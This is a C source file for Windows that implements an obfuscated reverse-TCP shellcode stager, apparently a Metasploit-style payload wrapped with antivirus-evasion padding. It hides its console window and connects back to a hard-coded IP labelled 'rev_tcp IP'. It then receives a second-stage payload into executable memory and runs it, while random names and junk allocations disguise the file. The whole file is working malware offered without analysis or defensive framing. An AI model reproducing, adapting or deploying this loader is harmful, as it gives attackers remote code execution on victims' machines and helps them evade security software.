#define _WIN32_WINNT 0x0500
#pragma comment(lib, "Ws2_32.lib")
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
char* tKtpjDy(const char *t) 
{ 
	int length= strlen(t); 
	int i; 
	char* t2 = (char*)malloc((length+1) * sizeof(char)); 
	for(i=0;i<length;i++) 
	{ 
		t2[(length-1)-i]=t[i]; 
	} 
	t2[length] = '\0'; 
	return t2; 
}
char* znsfOCNMrCbkzOE(char* s)
{ 
	char *result =  (char*)malloc(strlen(s)*2+1); 
	unsigned int i; 
	for (i=0; i<strlen(s)*2+1; i++)
	{ 
		result[i] = s[i/2]; 
		result[i+1]=s[i/2];
	} 
	result[i] = '\0';
	return result; 
}
void NeLKjqIN() 
{
	WORD nuafMMXXIlM = MAKEWORD((0*3+2), (0*3+2)); 
	WSADATA OjbYYo;
	if (WSAStartup(nuafMMXXIlM, &OjbYYo) < 0) 
	{ 
		WSACleanup(); 
		exit(1);
	}
}
char* bIvmARdP()
{ 
	char AdyxrZrCoYDYWo[9942], WCaGkR[9942/2]; 
	strcpy(AdyxrZrCoYDYWo,"ILHJzBVFhvdgqeJkiwtJJUAjmQtRmuDdLehjvWXbmfbQtJJFBy"); 
	strcpy(WCaGkR,"nMmToLBBAbMMHiJTWxCGooIocJPDKMVEYSuEXvPQqzrbyIVYuV"); 
	return znsfOCNMrCbkzOE(strcat( AdyxrZrCoYDYWo, WCaGkR)); 
}
void rhWWjvQdNXVdUgk(SOCKET TLyPwHXNU) 
{
	closesocket(TLyPwHXNU);
	WSACleanup();
	exit(1);
}
char* JhSFqPwZStt()
{ 
	char *eCASUgGSrrLHg = tKtpjDy("tSOCXIDOycVmGZnseNmhoUiErlDMRZKNHuzsOhjkDSubicaAPr"); 
	return strstr( eCASUgGSrrLHg, "l" );
}
int vruFUDecT(SOCKET NEXsGlyJlkW, void * MAmOlOZgRtdW, int pCnvXdLCf)
{
	int slfkmklsDSA=0;
	int rcAmwSVM=0;
	void * startb = MAmOlOZgRtdW;
	while (rcAmwSVM < pCnvXdLCf) 
	{
		slfkmklsDSA = recv(NEXsGlyJlkW, (char *)startb, pCnvXdLCf - rcAmwSVM, 0);
		startb = (char *)startb + slfkmklsDSA; 
		rcAmwSVM   += slfkmklsDSA;
		if (slfkmklsDSA == SOCKET_ERROR) rhWWjvQdNXVdUgk(NEXsGlyJlkW);
	} 
	return rcAmwSVM; 
}
char* KcGHIWbpiTi() 
{ 
	char ePIjwwnTFbEPwdv[9942] = "KRyqjwAqCGGjSpmtoukWRdCPWFHiYukcxsPusXVBXLHDNYYhFi";
	char *SkVxhI = strupr(ePIjwwnTFbEPwdv); 
	return strlwr(SkVxhI); 
}
SOCKET CQSQUDluTGPH() 
{ 
	struct hostent * SHzdQB; 
	struct sockaddr_in uTWnTe; 
	SOCKET rXcomljJhn;
	rXcomljJhn = socket(AF_INET, SOCK_STREAM, 0);
	if (rXcomljJhn == INVALID_SOCKET) rhWWjvQdNXVdUgk(rXcomljJhn);
	SHzdQB = gethostbyname("192.168.159.131"); //rev_tcp IP
	if (SHzdQB == NULL) rhWWjvQdNXVdUgk(rXcomljJhn);
	memcpy(&uTWnTe.sin_addr.s_addr, SHzdQB->h_addr, SHzdQB->h_length);
	uTWnTe.sin_family = AF_INET;
	uTWnTe.sin_port = htons((317*28+12)); //PORT
	if ( connect(rXcomljJhn, (struct sockaddr *)&uTWnTe, sizeof(uTWnTe)) ) rhWWjvQdNXVdUgk(rXcomljJhn);
	return rXcomljJhn;
}
int main(int argc, char * argv[]) 
{
	ULONG32 bwZAUso;
	char * wJSyvULifB;
	int i;
	char* sqkwfyC[3897];
	void (*piqVRkVEaAZFD)();
	char* jeOnJplLPPlzCjw[3833];
	char* ayaVwcX[4249];
	int ObiAAQETlmDZbIh;
	SOCKET SxDVPpjBFCtb;
	ShowWindow( GetConsoleWindow(), SW_HIDE );
	for (i = 0;  i < 3897;  ++i) 
		sqkwfyC[i] =  (char*)malloc (9956);
	NeLKjqIN();
	
	SxDVPpjBFCtb = CQSQUDluTGPH();
	for (i = 0;  i < 3833;  ++i) 
		jeOnJplLPPlzCjw[i] =  (char*)malloc (9959);
	ObiAAQETlmDZbIh = recv(SxDVPpjBFCtb, (char *)&bwZAUso, (4*1+0), 0);
	if (ObiAAQETlmDZbIh != (4*1+0) || bwZAUso <= 0) 
		rhWWjvQdNXVdUgk(SxDVPpjBFCtb);
	wJSyvULifB =  (char*)VirtualAlloc(0, bwZAUso + (2*2+1), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	for (i=0; i<3897; ++i)
	{
		strcpy(sqkwfyC[i], bIvmARdP());
	}if (wJSyvULifB == NULL) rhWWjvQdNXVdUgk(SxDVPpjBFCtb);
	wJSyvULifB[0] = (BYTE)0xBF;
	memcpy(wJSyvULifB + 1, &SxDVPpjBFCtb, (2*2+0));
	for (i = 0;  i < 4249;  ++i) 
		ayaVwcX[i] =  (char*)malloc (9994);
	for (i=0; i<3833; ++i)
	{
		strcpy(jeOnJplLPPlzCjw[i], JhSFqPwZStt());
	}
	ObiAAQETlmDZbIh = vruFUDecT(SxDVPpjBFCtb, wJSyvULifB + (2*2+1), bwZAUso);
	piqVRkVEaAZFD = (void (*)())wJSyvULifB;
	piqVRkVEaAZFD();
	for (i=0; i<4249; ++i)
	{
		strcpy(ayaVwcX[i], KcGHIWbpiTi());
	}
	return 0;
}
